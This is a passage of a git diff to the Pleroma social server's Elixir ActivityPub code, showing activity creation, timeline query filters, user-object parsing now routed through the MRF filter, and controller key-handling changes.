	def update(%{to: to, cc: cc, actor: actor, object: object} = params) do
	# only accept false as false value
	local = !(params[:local] == false)

	with data <- %{
	"to" => to,
	"cc" => cc,
	"type" => "Update",
	"actor" => actor,
	"object" => object
	},
	{:ok, activity} <- insert(data, local),
	:ok <- maybe_federate(activity) do
	{:ok, activity}
	end
	end

	# TODO: This is weird, maybe we shouldn't check here if we can make the activity.
	def like(
	%User{ap_id: ap_id} = user,
	%Object{data: %{"id" => _}} = object,
	activity_id \\ nil,
	local \\ true
	) do
	with nil <- get_existing_like(ap_id, object),
	like_data <- make_like_data(user, object, activity_id),
	{:ok, activity} <- insert(like_data, local),
	{:ok, object} <- add_like_to_object(activity, object),
	:ok <- maybe_federate(activity) do
	{:ok, activity, object}
	else
	%Activity{} = activity -> {:ok, activity, object}
	error -> {:error, error}
	end
	end

	def unlike(
	%User{} = actor,
	%Object{} = object,
	activity_id \\ nil,
	local \\ true
	) do
	with %Activity{} = like_activity <- get_existing_like(actor.ap_id, object),
	unlike_data <- make_unlike_data(actor, like_activity, activity_id),
	{:ok, unlike_activity} <- insert(unlike_data, local),
	{:ok, _activity} <- Repo.delete(like_activity),
	{:ok, object} <- remove_like_from_object(like_activity, object),
	:ok <- maybe_federate(unlike_activity) do
	{:ok, unlike_activity, like_activity, object}
	else
	_e -> {:ok, object}
	end
	end

	def announce(
	%User{ap_id: _} = user,
	%Object{data: %{"id" => _}} = object,
	activity_id \\ nil,
	local \\ true,
	public \\ true
	) do
	with true <- is_public?(object),
	announce_data <- make_announce_data(user, object, activity_id, public),
	{:ok, activity} <- insert(announce_data, local),
	{:ok, object} <- add_announce_to_object(activity, object),
	:ok <- maybe_federate(activity) do
	{:ok, activity, object}
	else
	error -> {:error, error}
	end
	end

	def unannounce(
	%User{} = actor,
	%Object{} = object,
	activity_id \\ nil,
	local \\ true
	) do
	with %Activity{} = announce_activity <- get_existing_announce(actor.ap_id, object),
	unannounce_data <- make_unannounce_data(actor, announce_activity, activity_id),
	{:ok, unannounce_activity} <- insert(unannounce_data, local),
	:ok <- maybe_federate(unannounce_activity),
	{:ok, _activity} <- Repo.delete(announce_activity),
	{:ok, object} <- remove_announce_from_object(announce_activity, object) do
	{:ok, unannounce_activity, object}
	else
	_e -> {:ok, object}
	end
	end

	def follow(follower, followed, activity_id \\ nil, local \\ true) do
	with data <- make_follow_data(follower, followed, activity_id),
	{:ok, activity} <- insert(data, local),
	:ok <- maybe_federate(activity) do
	{:ok, activity}
	end
	end

	def unfollow(follower, followed, activity_id \\ nil, local \\ true) do
	with %Activity{} = follow_activity <- fetch_latest_follow(follower, followed),
	{:ok, follow_activity} <- update_follow_state(follow_activity, "cancelled"),
	unfollow_data <- make_unfollow_data(follower, followed, follow_activity, activity_id),
	{:ok, activity} <- insert(unfollow_data, local),
	:ok <- maybe_federate(activity) do
	{:ok, activity}
	end
	end

	def delete(%Object{data: %{"id" => id, "actor" => actor}} = object, local \\ true) do
	user = User.get_cached_by_ap_id(actor)
	to = (object.data["to"] \|\| []) ++ (object.data["cc"] \|\| [])

	with {:ok, object, activity} <- Object.delete(object),
	data <- %{
	"type" => "Delete",
	"actor" => actor,
	"object" => id,
	"to" => to,
	"deleted_activity_id" => activity && activity.id
	},
	{:ok, activity} <- insert(data, local),
	_ <- decrease_replies_count_if_reply(object),
	# Changing note count prior to enqueuing federation task in order to avoid
	# race conditions on updating user.info
	{:ok, _actor} <- decrease_note_count_if_public(user, object),
	:ok <- maybe_federate(activity) do
	{:ok, activity}
	end
	end

	def block(blocker, blocked, activity_id \\ nil, local \\ true) do
	ap_config = Application.get_env(:pleroma, :activitypub)
	unfollow_blocked = Keyword.get(ap_config, :unfollow_blocked)
	outgoing_blocks = Keyword.get(ap_config, :outgoing_blocks)

	with true <- unfollow_blocked do
	follow_activity = fetch_latest_follow(blocker, blocked)

	if follow_activity do
	unfollow(blocker, blocked, nil, local)
	end
	end

	with true <- outgoing_blocks,
	block_data <- make_block_data(blocker, blocked, activity_id),
	{:ok, activity} <- insert(block_data, local),
	:ok <- maybe_federate(activity) do
	{:ok, activity}
	else
	_e -> {:ok, nil}
	end
	end

	def unblock(blocker, blocked, activity_id \\ nil, local \\ true) do
	with %Activity{} = block_activity <- fetch_latest_block(blocker, blocked),
	unblock_data <- make_unblock_data(blocker, blocked, block_activity, activity_id),
	{:ok, activity} <- insert(unblock_data, local),
	:ok <- maybe_federate(activity) do
	{:ok, activity}
	end
	end

	def flag(
	%{
	actor: actor,
	context: context,
	account: account,
	statuses: statuses,
	content: content
	} = params
	) do
	# only accept false as false value
	local = !(params[:local] == false)
	forward = !(params[:forward] == false)

	additional = params[:additional] \|\| %{}

	params = %{
	actor: actor,
	context: context,
	account: account,
	statuses: statuses,
	content: content
	}

	additional =
	if forward do
	Map.merge(additional, %{"to" => [], "cc" => [account.ap_id]})
	else
	Map.merge(additional, %{"to" => [], "cc" => []})
	end

	with flag_data <- make_flag_data(params, additional),
	{:ok, activity} <- insert(flag_data, local),
	:ok <- maybe_federate(activity) do
	Enum.each(User.all_superusers(), fn superuser ->
	superuser
	\|> Pleroma.Emails.AdminEmail.report(actor, account, statuses, content)
	\|> Pleroma.Emails.Mailer.deliver_async()
	end)

	{:ok, activity}
	end
	end

	defp fetch_activities_for_context_query(context, opts) do
	public = ["https://www.w3.org/ns/activitystreams#Public"]

	recipients =
	if opts["user"], do: [opts["user"].ap_id \| opts["user"].following] ++ public, else: public

	from(activity in Activity)
	\|> restrict_blocked(opts)
	\|> restrict_recipients(recipients, opts["user"])
	\|> where(
	[activity],
	fragment(
	"?->>'type' = ? and ?->>'context' = ?",
	activity.data,
	"Create",
	activity.data,
	^context
	)
	)
	\|> order_by([activity], desc: activity.id)
	end

	@spec fetch_activities_for_context(String.t(), keyword() \| map()) :: [Activity.t()]
	def fetch_activities_for_context(context, opts \\ %{}) do
	context
	\|> fetch_activities_for_context_query(opts)
	\|> Activity.with_preloaded_object()
	\|> Repo.all()
	end

	@spec fetch_latest_activity_id_for_context(String.t(), keyword() \| map()) ::
	Pleroma.FlakeId.t() \| nil
	def fetch_latest_activity_id_for_context(context, opts \\ %{}) do
	context
	\|> fetch_activities_for_context_query(opts)
	\|> limit(1)
	\|> select([a], a.id)
	\|> Repo.one()
	end

	def fetch_public_activities(opts \\ %{}) do
	q = fetch_activities_query(["https://www.w3.org/ns/activitystreams#Public"], opts)

	q
	\|> restrict_unlisted()
	\|> Pagination.fetch_paginated(opts)
	\|> Enum.reverse()
	end

	@valid_visibilities ~w[direct unlisted public private]

	defp restrict_visibility(query, %{visibility: visibility})
	when is_list(visibility) do
	if Enum.all?(visibility, &(&1 in @valid_visibilities)) do
	query =
	from(
	a in query,
	where:
	fragment(
	"activity_visibility(?, ?, ?) = ANY (?)",
	a.actor,
	a.recipients,
	a.data,
	^visibility
	)
	)

	query
	else
	Logger.error("Could not restrict visibility to #{visibility}")
	end
	end

	defp restrict_visibility(query, %{visibility: visibility})
	when visibility in @valid_visibilities do
	query =
	from(
	a in query,
	where:
	fragment("activity_visibility(?, ?, ?) = ?", a.actor, a.recipients, a.data, ^visibility)
	)

	query
	end

	defp restrict_visibility(_query, %{visibility: visibility})
	when visibility not in @valid_visibilities do
	Logger.error("Could not restrict visibility to #{visibility}")
	end

	defp restrict_visibility(query, _visibility), do: query

	defp restrict_thread_visibility(query, %{"user" => %User{ap_id: ap_id}}) do
	query =
	from(
	a in query,
	where: fragment("thread_visibility(?, (?)->>'id') = true", ^ap_id, a.data)
	)

	query
	end

	defp restrict_thread_visibility(query, _), do: query

	def fetch_user_activities(user, reading_user, params \\ %{}) do
	params =
	params
	\|> Map.put("type", ["Create", "Announce"])
	\|> Map.put("actor_id", user.ap_id)
	\|> Map.put("whole_db", true)
	\|> Map.put("pinned_activity_ids", user.info.pinned_activities)

	recipients =
	if reading_user do
	["https://www.w3.org/ns/activitystreams#Public"] ++
	[reading_user.ap_id \| reading_user.following]
	else
	["https://www.w3.org/ns/activitystreams#Public"]
	end

	fetch_activities(recipients, params)
	\|> Enum.reverse()
	end

	defp restrict_since(query, %{"since_id" => ""}), do: query

	defp restrict_since(query, %{"since_id" => since_id}) do
	from(activity in query, where: activity.id > ^since_id)
	end

	defp restrict_since(query, _), do: query

	defp restrict_tag_reject(_query, %{"tag_reject" => _tag_reject, "skip_preload" => true}) do
	raise "Can't use the child object without preloading!"
	end

	defp restrict_tag_reject(query, %{"tag_reject" => tag_reject})
	when is_list(tag_reject) and tag_reject != [] do
	from(
	[_activity, object] in query,
	where: fragment("not (?)->'tag' \\?\| (?)", object.data, ^tag_reject)
	)
	end

	defp restrict_tag_reject(query, _), do: query

	defp restrict_tag_all(_query, %{"tag_all" => _tag_all, "skip_preload" => true}) do
	raise "Can't use the child object without preloading!"
	end

	defp restrict_tag_all(query, %{"tag_all" => tag_all})
	when is_list(tag_all) and tag_all != [] do
	from(
	[_activity, object] in query,
	where: fragment("(?)->'tag' \\?& (?)", object.data, ^tag_all)
	)
	end

	defp restrict_tag_all(query, _), do: query

	defp restrict_tag(_query, %{"tag" => _tag, "skip_preload" => true}) do
	raise "Can't use the child object without preloading!"
	end

	defp restrict_tag(query, %{"tag" => tag}) when is_list(tag) do
	from(
	[_activity, object] in query,
	where: fragment("(?)->'tag' \\?\| (?)", object.data, ^tag)
	)
	end

	defp restrict_tag(query, %{"tag" => tag}) when is_binary(tag) do
	from(
	[_activity, object] in query,
	where: fragment("(?)->'tag' \\? (?)", object.data, ^tag)
	)
	end

	defp restrict_tag(query, _), do: query

	defp restrict_to_cc(query, recipients_to, recipients_cc) do
	from(
	activity in query,
	where:
	fragment(
	"(?->'to' \\?\| ?) or (?->'cc' \\?\| ?)",
	activity.data,
	^recipients_to,
	activity.data,
	^recipients_cc
	)
	)
	end

	defp restrict_recipients(query, [], _user), do: query

	defp restrict_recipients(query, recipients, nil) do
	from(activity in query, where: fragment("? && ?", ^recipients, activity.recipients))
	end

	defp restrict_recipients(query, recipients, user) do
	from(
	activity in query,
	where: fragment("? && ?", ^recipients, activity.recipients),
	or_where: activity.actor == ^user.ap_id
	)
	end

	defp restrict_local(query, %{"local_only" => true}) do
	from(activity in query, where: activity.local == true)
	end

	defp restrict_local(query, _), do: query

	defp restrict_actor(query, %{"actor_id" => actor_id}) do
	from(activity in query, where: activity.actor == ^actor_id)
	end

	defp restrict_actor(query, _), do: query

	defp restrict_type(query, %{"type" => type}) when is_binary(type) do
	from(activity in query, where: fragment("?->>'type' = ?", activity.data, ^type))
	end

	defp restrict_type(query, %{"type" => type}) do
	from(activity in query, where: fragment("?->>'type' = ANY(?)", activity.data, ^type))
	end

	defp restrict_type(query, _), do: query

	defp restrict_state(query, %{"state" => state}) do
	from(activity in query, where: fragment("?->>'state' = ?", activity.data, ^state))
	end

	defp restrict_state(query, _), do: query

	defp restrict_favorited_by(query, %{"favorited_by" => ap_id}) do
	from(
	activity in query,
	where: fragment(~s(? <@ (? #> '{"object","likes"}'\)), ^ap_id, activity.data)
	)
	end

	defp restrict_favorited_by(query, _), do: query

	defp restrict_media(_query, %{"only_media" => _val, "skip_preload" => true}) do
	raise "Can't use the child object without preloading!"
	end

	defp restrict_media(query, %{"only_media" => val}) when val == "true" or val == "1" do
	from(
	[_activity, object] in query,
	where: fragment("not (?)->'attachment' = (?)", object.data, ^[])
	)
	end

	defp restrict_media(query, _), do: query

	defp restrict_replies(query, %{"exclude_replies" => val}) when val == "true" or val == "1" do
	from(
	activity in query,
	where: fragment("?->'object'->>'inReplyTo' is null", activity.data)
	)
	end

	defp restrict_replies(query, _), do: query

	defp restrict_reblogs(query, %{"exclude_reblogs" => val}) when val == "true" or val == "1" do
	from(activity in query, where: fragment("?->>'type' != 'Announce'", activity.data))
	end

	defp restrict_reblogs(query, _), do: query

	defp restrict_muted(query, %{"with_muted" => val}) when val in [true, "true", "1"], do: query

	defp restrict_muted(query, %{"muting_user" => %User{info: info}}) do
	mutes = info.mutes

	from(
	activity in query,
	where: fragment("not (? = ANY(?))", activity.actor, ^mutes),
	where: fragment("not (?->'to' \\?\| ?)", activity.data, ^mutes)
	)
	end

	defp restrict_muted(query, _), do: query

	defp restrict_blocked(query, %{"blocking_user" => %User{info: info}}) do
	blocks = info.blocks \|\| []
	domain_blocks = info.domain_blocks \|\| []

	query =
	if has_named_binding?(query, :object), do: query, else: Activity.with_joined_object(query)

	from(
	[activity, object: o] in query,
	where: fragment("not (? = ANY(?))", activity.actor, ^blocks),
	where: fragment("not (? && ?)", activity.recipients, ^blocks),
	where:
	fragment(
	"not (?->>'type' = 'Announce' and ?->'to' \\?\| ?)",
	activity.data,
	activity.data,
	^blocks
	),
	where: fragment("not (split_part(?, '/', 3) = ANY(?))", activity.actor, ^domain_blocks),
	where: fragment("not (split_part(?->>'actor', '/', 3) = ANY(?))", o.data, ^domain_blocks)
	)
	end

	defp restrict_blocked(query, _), do: query

	defp restrict_unlisted(query) do
	from(
	activity in query,
	where:
	fragment(
	"not (coalesce(?->'cc', '{}'::jsonb) \\?\| ?)",
	activity.data,
	^["https://www.w3.org/ns/activitystreams#Public"]
	)
	)
	end

	defp restrict_pinned(query, %{"pinned" => "true", "pinned_activity_ids" => ids}) do
	from(activity in query, where: activity.id in ^ids)
	end

	defp restrict_pinned(query, _), do: query

	defp restrict_muted_reblogs(query, %{"muting_user" => %User{info: info}}) do
	muted_reblogs = info.muted_reblogs \|\| []

	from(
	activity in query,
	where:
	fragment(
	"not ( ?->>'type' = 'Announce' and ? = ANY(?))",
	activity.data,
	activity.actor,
	^muted_reblogs
	)
	)
	end

	defp restrict_muted_reblogs(query, _), do: query

	defp maybe_preload_objects(query, %{"skip_preload" => true}), do: query

	defp maybe_preload_objects(query, _) do
	query
	\|> Activity.with_preloaded_object()
	end

	defp maybe_preload_bookmarks(query, %{"skip_preload" => true}), do: query

	defp maybe_preload_bookmarks(query, opts) do
	query
	\|> Activity.with_preloaded_bookmark(opts["user"])
	end

	+ defp maybe_set_thread_muted_field(query, %{"skip_preload" => true}), do: query
	+
	+ defp maybe_set_thread_muted_field(query, opts) do
	+ query
	+ \|> Activity.with_set_thread_muted_field(opts["user"])
	+ end
	+
	defp maybe_order(query, %{order: :desc}) do
	query
	\|> order_by(desc: :id)
	end

	defp maybe_order(query, %{order: :asc}) do
	query
	\|> order_by(asc: :id)
	end

	defp maybe_order(query, _), do: query

	def fetch_activities_query(recipients, opts \\ %{}) do
	base_query = from(activity in Activity)

	base_query
	\|> maybe_preload_objects(opts)
	\|> maybe_preload_bookmarks(opts)
	+ \|> maybe_set_thread_muted_field(opts)
	\|> maybe_order(opts)
	\|> restrict_recipients(recipients, opts["user"])
	\|> restrict_tag(opts)
	\|> restrict_tag_reject(opts)
	\|> restrict_tag_all(opts)
	\|> restrict_since(opts)
	\|> restrict_local(opts)
	\|> restrict_actor(opts)
	\|> restrict_type(opts)
	\|> restrict_state(opts)
	\|> restrict_favorited_by(opts)
	\|> restrict_blocked(opts)
	\|> restrict_muted(opts)
	\|> restrict_media(opts)
	\|> restrict_visibility(opts)
	\|> restrict_thread_visibility(opts)
	\|> restrict_replies(opts)
	\|> restrict_reblogs(opts)
	\|> restrict_pinned(opts)
	\|> restrict_muted_reblogs(opts)
	\|> Activity.restrict_deactivated_users()
	end

	def fetch_activities(recipients, opts \\ %{}) do
	fetch_activities_query(recipients, opts)
	\|> Pagination.fetch_paginated(opts)
	\|> Enum.reverse()
	end

	def fetch_activities_bounded(recipients_to, recipients_cc, opts \\ %{}) do
	fetch_activities_query([], opts)
	\|> restrict_to_cc(recipients_to, recipients_cc)
	\|> Pagination.fetch_paginated(opts)
	\|> Enum.reverse()
	end

	def upload(file, opts \\ []) do
	with {:ok, data} <- Upload.store(file, opts) do
	obj_data =
	if opts[:actor] do
	Map.put(data, "actor", opts[:actor])
	else
	data
	end

	Repo.insert(%Object{data: obj_data})
	end
	end

	- def user_data_from_user_object(data) do
	+ defp object_to_user_data(data) do
	avatar =
	data["icon"]["url"] &&
	%{
	"type" => "Image",
	"url" => [%{"href" => data["icon"]["url"]}]
	}

	banner =
	data["image"]["url"] &&
	%{
	"type" => "Image",
	"url" => [%{"href" => data["image"]["url"]}]
	}

	locked = data["manuallyApprovesFollowers"] \|\| false
	data = Transmogrifier.maybe_fix_user_object(data)

	user_data = %{
	ap_id: data["id"],
	info: %{
	"ap_enabled" => true,
	"source_data" => data,
	"banner" => banner,
	"locked" => locked
	},
	avatar: avatar,
	name: data["name"],
	follower_address: data["followers"],
	bio: data["summary"]
	}

	# nickname can be nil because of virtual actors
	user_data =
	if data["preferredUsername"] do
	Map.put(
	user_data,
	:nickname,
	"#{data["preferredUsername"]}@#{URI.parse(data["id"]).host}"
	)
	else
	Map.put(user_data, :nickname, nil)
	end

	{:ok, user_data}
	end

	+ def user_data_from_user_object(data) do
	+ with {:ok, data} <- MRF.filter(data),
	+ {:ok, data} <- object_to_user_data(data) do
	+ {:ok, data}
	+ else
	+ e -> {:error, e}
	+ end
	+ end
	+
	def fetch_and_prepare_user_from_ap_id(ap_id) do
	- with {:ok, data} <- Fetcher.fetch_and_contain_remote_object_from_id(ap_id) do
	- user_data_from_user_object(data)
	+ with {:ok, data} <- Fetcher.fetch_and_contain_remote_object_from_id(ap_id),
	+ {:ok, data} <- user_data_from_user_object(data) do
	+ {:ok, data}
	else
	e -> Logger.error("Could not decode user at fetch #{ap_id}, #{inspect(e)}")
	end
	end

	def make_user_from_ap_id(ap_id) do
	if _user = User.get_cached_by_ap_id(ap_id) do
	Transmogrifier.upgrade_user_from_ap_id(ap_id)
	else
	with {:ok, data} <- fetch_and_prepare_user_from_ap_id(ap_id) do
	User.insert_or_update_user(data)
	else
	e -> {:error, e}
	end
	end
	end

	def make_user_from_nickname(nickname) do
	with {:ok, %{"ap_id" => ap_id}} when not is_nil(ap_id) <- WebFinger.finger(nickname) do
	make_user_from_ap_id(ap_id)
	else
	_e -> {:error, "No AP id in WebFinger"}
	end
	end

	# filter out broken threads
	def contain_broken_threads(%Activity{} = activity, %User{} = user) do
	entire_thread_visible_for_user?(activity, user)
	end

	# do post-processing on a specific activity
	def contain_activity(%Activity{} = activity, %User{} = user) do
	contain_broken_threads(activity, user)
	end

	def fetch_direct_messages_query do
	Activity
	\|> restrict_type(%{"type" => "Create"})
	\|> restrict_visibility(%{visibility: "direct"})
	\|> order_by([activity], asc: activity.id)
	end
	end
	diff --git a/lib/pleroma/web/activity_pub/activity_pub_controller.ex b/lib/pleroma/web/activity_pub/activity_pub_controller.ex
	index c967ab7a9..ad2ca1e54 100644
	--- a/lib/pleroma/web/activity_pub/activity_pub_controller.ex
	+++ b/lib/pleroma/web/activity_pub/activity_pub_controller.ex
	@@ -1,317 +1,317 @@
	# Pleroma: A lightweight social networking server
	# Copyright © 2017-2019 Pleroma Authors <https://pleroma.social/>
	# SPDX-License-Identifier: AGPL-3.0-only

	defmodule Pleroma.Web.ActivityPub.ActivityPubController do
	use Pleroma.Web, :controller

	alias Pleroma.Activity
	alias Pleroma.Object
	alias Pleroma.Object.Fetcher
	alias Pleroma.User
	alias Pleroma.Web.ActivityPub.ActivityPub
	alias Pleroma.Web.ActivityPub.ObjectView
	alias Pleroma.Web.ActivityPub.Relay
	alias Pleroma.Web.ActivityPub.Transmogrifier
	alias Pleroma.Web.ActivityPub.UserView
	alias Pleroma.Web.ActivityPub.Utils
	alias Pleroma.Web.ActivityPub.Visibility
	alias Pleroma.Web.Federator

	require Logger

	action_fallback(:errors)

	plug(Pleroma.Web.FederatingPlug when action in [:inbox, :relay])
	plug(:set_requester_reachable when action in [:inbox])
	plug(:relay_active? when action in [:relay])

	def relay_active?(conn, _) do
	if Keyword.get(Application.get_env(:pleroma, :instance), :allow_relay) do
	conn
	else
	conn
	\|> put_status(404)
	\|> json(%{error: "not found"})
	\|> halt
	end
	end

	def user(conn, %{"nickname" => nickname}) do
	with %User{} = user <- User.get_cached_by_nickname(nickname),
	- {:ok, user} <- Pleroma.Web.WebFinger.ensure_keys_present(user) do
	+ {:ok, user} <- User.ensure_keys_present(user) do
	conn
	\|> put_resp_header("content-type", "application/activity+json")
	\|> json(UserView.render("user.json", %{user: user}))
	else
	nil -> {:error, :not_found}
	end
	end

	def object(conn, %{"uuid" => uuid}) do
	with ap_id <- o_status_url(conn, :object, uuid),
	%Object{} = object <- Object.get_cached_by_ap_id(ap_id),
	{_, true} <- {:public?, Visibility.is_public?(object)} do
	conn
	\|> put_resp_header("content-type", "application/activity+json")
	\|> json(ObjectView.render("object.json", %{object: object}))
	else
	{:public?, false} ->
	{:error, :not_found}
	end
	end

	def object_likes(conn, %{"uuid" => uuid, "page" => page}) do
	with ap_id <- o_status_url(conn, :object, uuid),
	%Object{} = object <- Object.get_cached_by_ap_id(ap_id),
	{_, true} <- {:public?, Visibility.is_public?(object)},
	likes <- Utils.get_object_likes(object) do
	{page, _} = Integer.parse(page)

	conn
	\|> put_resp_header("content-type", "application/activity+json")
	\|> json(ObjectView.render("likes.json", ap_id, likes, page))
	else
	{:public?, false} ->
	{:error, :not_found}
	end
	end

	def object_likes(conn, %{"uuid" => uuid}) do
	with ap_id <- o_status_url(conn, :object, uuid),
	%Object{} = object <- Object.get_cached_by_ap_id(ap_id),
	{_, true} <- {:public?, Visibility.is_public?(object)},
	likes <- Utils.get_object_likes(object) do
	conn
	\|> put_resp_header("content-type", "application/activity+json")
	\|> json(ObjectView.render("likes.json", ap_id, likes))
	else
	{:public?, false} ->
	{:error, :not_found}
	end
	end

	def activity(conn, %{"uuid" => uuid}) do
	with ap_id <- o_status_url(conn, :activity, uuid),
	%Activity{} = activity <- Activity.normalize(ap_id),
	{_, true} <- {:public?, Visibility.is_public?(activity)} do
	conn
	\|> put_resp_header("content-type", "application/activity+json")
	\|> json(ObjectView.render("object.json", %{object: activity}))
	else
	{:public?, false} ->
	{:error, :not_found}
	end
	end

	def following(conn, %{"nickname" => nickname, "page" => page}) do
	with %User{} = user <- User.get_cached_by_nickname(nickname),
	- {:ok, user} <- Pleroma.Web.WebFinger.ensure_keys_present(user) do
	+ {:ok, user} <- User.ensure_keys_present(user) do
	{page, _} = Integer.parse(page)

	conn
	\|> put_resp_header("content-type", "application/activity+json")
	\|> json(UserView.render("following.json", %{user: user, page: page}))
	end
	end

	def following(conn, %{"nickname" => nickname}) do
	with %User{} = user <- User.get_cached_by_nickname(nickname),
	- {:ok, user} <- Pleroma.Web.WebFinger.ensure_keys_present(user) do
	+ {:ok, user} <- User.ensure_keys_present(user) do
	conn
	\|> put_resp_header("content-type", "application/activity+json")
	\|> json(UserView.render("following.json", %{user: user}))
	end
	end

	def followers(conn, %{"nickname" => nickname, "page" => page}) do
	with %User{} = user <- User.get_cached_by_nickname(nickname),
	- {:ok, user} <- Pleroma.Web.WebFinger.ensure_keys_present(user) do
	+ {:ok, user} <- User.ensure_keys_present(user) do
	{page, _} = Integer.parse(page)

	conn
	\|> put_resp_header("content-type", "application/activity+json")
	\|> json(UserView.render("followers.json", %{user: user, page: page}))
	end
	end

	def followers(conn, %{"nickname" => nickname}) do
	with %User{} = user <- User.get_cached_by_nickname(nickname),
	- {:ok, user} <- Pleroma.Web.WebFinger.ensure_keys_present(user) do
	+ {:ok, user} <- User.ensure_keys_present(user) do
	conn
	\|> put_resp_header("content-type", "application/activity+json")
	\|> json(UserView.render("followers.json", %{user: user}))
	end
	end

	def outbox(conn, %{"nickname" => nickname} = params) do
	with %User{} = user <- User.get_cached_by_nickname(nickname),
	- {:ok, user} <- Pleroma.Web.WebFinger.ensure_keys_present(user) do
	+ {:ok, user} <- User.ensure_keys_present(user) do
	conn
	\|> put_resp_header("content-type", "application/activity+json")
	\|> json(UserView.render("outbox.json", %{user: user, max_id: params["max_id"]}))
	end
	end

	def inbox(%{assigns: %{valid_signature: true}} = conn, %{"nickname" => nickname} = params) do
	with %User{} = recipient <- User.get_cached_by_nickname(nickname),
	{:ok, %User{} = actor} <- User.get_or_fetch_by_ap_id(params["actor"]),
	true <- Utils.recipient_in_message(recipient, actor, params),
	params <- Utils.maybe_splice_recipient(recipient.ap_id, params) do
	Federator.incoming_ap_doc(params)
	json(conn, "ok")
	end
	end

	def inbox(%{assigns: %{valid_signature: true}} = conn, params) do
	Federator.incoming_ap_doc(params)
	json(conn, "ok")
	end

	# only accept relayed Creates
	def inbox(conn, %{"type" => "Create"} = params) do
	Logger.info(
	"Signature missing or not from author, relayed Create message, fetching object from source"
	)

	Fetcher.fetch_object_from_id(params["object"]["id"])

	json(conn, "ok")
	end

	def inbox(conn, params) do
	headers = Enum.into(conn.req_headers, %{})

	if String.contains?(headers["signature"], params["actor"]) do
	Logger.info(
	"Signature validation error for: #{params["actor"]}, make sure you are forwarding the HTTP Host header!"
	)

	Logger.info(inspect(conn.req_headers))
	end

	json(conn, "error")
	end

	def relay(conn, _params) do
	with %User{} = user <- Relay.get_actor(),
	- {:ok, user} <- Pleroma.Web.WebFinger.ensure_keys_present(user) do
	+ {:ok, user} <- User.ensure_keys_present(user) do
	conn
	\|> put_resp_header("content-type", "application/activity+json")
	\|> json(UserView.render("user.json", %{user: user}))
	else
	nil -> {:error, :not_found}
	end
	end

	def whoami(%{assigns: %{user: %User{} = user}} = conn, _params) do
	conn
	\|> put_resp_header("content-type", "application/activity+json")
	\|> json(UserView.render("user.json", %{user: user}))
	end

	def whoami(_conn, _params), do: {:error, :not_found}

	def read_inbox(%{assigns: %{user: user}} = conn, %{"nickname" => nickname} = params) do
	if nickname == user.nickname do
	conn
	\|> put_resp_header("content-type", "application/activity+json")
	\|> json(UserView.render("inbox.json", %{user: user, max_id: params["max_id"]}))
	else
	conn
	\|> put_status(:forbidden)
	\|> json("can't read inbox of #{nickname} as #{user.nickname}")
	end
	end

	def handle_user_activity(user, %{"type" => "Create"} = params) do
	object =
	params["object"]
	\|> Map.merge(Map.take(params, ["to", "cc"]))
	\|> Map.put("attributedTo", user.ap_id())
	\|> Transmogrifier.fix_object()

	ActivityPub.create(%{
	to: params["to"],
	actor: user,
	context: object["context"],
	object: object,
	additional: Map.take(params, ["cc"])
	})
	end

	def handle_user_activity(user, %{"type" => "Delete"} = params) do
	with %Object{} = object <- Object.normalize(params["object"]),
	true <- user.info.is_moderator \|\| user.ap_id == object.data["actor"],
	{:ok, delete} <- ActivityPub.delete(object) do
	{:ok, delete}
	else
	_ -> {:error, "Can't delete object"}
	end
	end

	def handle_user_activity(user, %{"type" => "Like"} = params) do
	with %Object{} = object <- Object.normalize(params["object"]),
	{:ok, activity, _object} <- ActivityPub.like(user, object) do
	{:ok, activity}
	else
	_ -> {:error, "Can't like object"}
	end
	end

	def handle_user_activity(_, _) do
	{:error, "Unhandled activity type"}
	end

	def update_outbox(
	%{assigns: %{user: user}} = conn,
	%{"nickname" => nickname} = params
	) do
	if nickname == user.nickname do
	actor = user.ap_id()

	params =
	params
	\|> Map.drop(["id"])
	\|> Map.put("actor", actor)
	\|> Transmogrifier.fix_addressing()

	with {:ok, %Activity{} = activity} <- handle_user_activity(user, params) do
	conn
	\|> put_status(:created)
	\|> put_resp_header("location", activity.data["id"])
	\|> json(activity.data)
	else
	{:error, message} ->
	conn
	\|> put_status(:bad_request)
	\|> json(message)
	end
	else
	conn
	\|> put_status(:forbidden)
	\|> json("can't update outbox of #{nickname} as #{user.nickname}")
	end
	end

	def errors(conn, {:error, :not_found}) do
	conn
	\|> put_status(404)
	\|> json("Not found")
	end

	def errors(conn, _e) do
	conn
	\|> put_status(500)
	\|> json("error")
	end

	defp set_requester_reachable(%Plug.Conn{} = conn, _) do
	with actor <- conn.params["actor"],
	true <- is_binary(actor) do
	Pleroma.Instances.set_reachable(actor)
	end

	conn
	end
	end
	diff --git a/lib/pleroma/web/activity_pub/mrf/simple_policy.ex b/lib/pleroma/web/activity_pub/mrf/simple_policy.ex
	index 7190652d2..433d23c5f 100644
	--- a/lib/pleroma/web/activity_pub/mrf/simple_policy.ex
	+++ b/lib/pleroma/web/activity_pub/mrf/simple_policy.ex
	@@ -1,122 +1,155 @@
	# Pleroma: A lightweight social networking server
	# Copyright © 2017-2019 Pleroma Authors <https://pleroma.social/>
	# SPDX-License-Identifier: AGPL-3.0-only

	defmodule Pleroma.Web.ActivityPub.MRF.SimplePolicy do
	alias Pleroma.User
	@moduledoc "Filter activities depending on their origin instance"
	@behaviour Pleroma.Web.ActivityPub.MRF

	defp check_accept(%{host: actor_host} = _actor_info, object) do
	accepts = Pleroma.Config.get([:mrf_simple, :accept])

	cond do
	accepts == [] -> {:ok, object}
	actor_host == Pleroma.Config.get([Pleroma.Web.Endpoint, :url, :host]) -> {:ok, object}
	Enum.member?(accepts, actor_host) -> {:ok, object}
	true -> {:reject, nil}
	end
	end

	defp check_reject(%{host: actor_host} = _actor_info, object) do
	if Enum.member?(Pleroma.Config.get([:mrf_simple, :reject]), actor_host) do
	{:reject, nil}
	else
	{:ok, object}
	end
	end

	defp check_media_removal(
	%{host: actor_host} = _actor_info,
	%{"type" => "Create", "object" => %{"attachment" => child_attachment}} = object
	)
	when length(child_attachment) > 0 do
	object =
	if Enum.member?(Pleroma.Config.get([:mrf_simple, :media_removal]), actor_host) do
	child_object = Map.delete(object["object"], "attachment")
	Map.put(object, "object", child_object)
	else
	object
	end

	{:ok, object}
	end

	defp check_media_removal(_actor_info, object), do: {:ok, object}

	defp check_media_nsfw(
	%{host: actor_host} = _actor_info,
	%{
	"type" => "Create",
	"object" => child_object
	} = object
	) do
	object =
	if Enum.member?(Pleroma.Config.get([:mrf_simple, :media_nsfw]), actor_host) do
	tags = (child_object["tag"] \|\| []) ++ ["nsfw"]
	child_object = Map.put(child_object, "tag", tags)
	child_object = Map.put(child_object, "sensitive", true)
	Map.put(object, "object", child_object)
	else
	object
	end

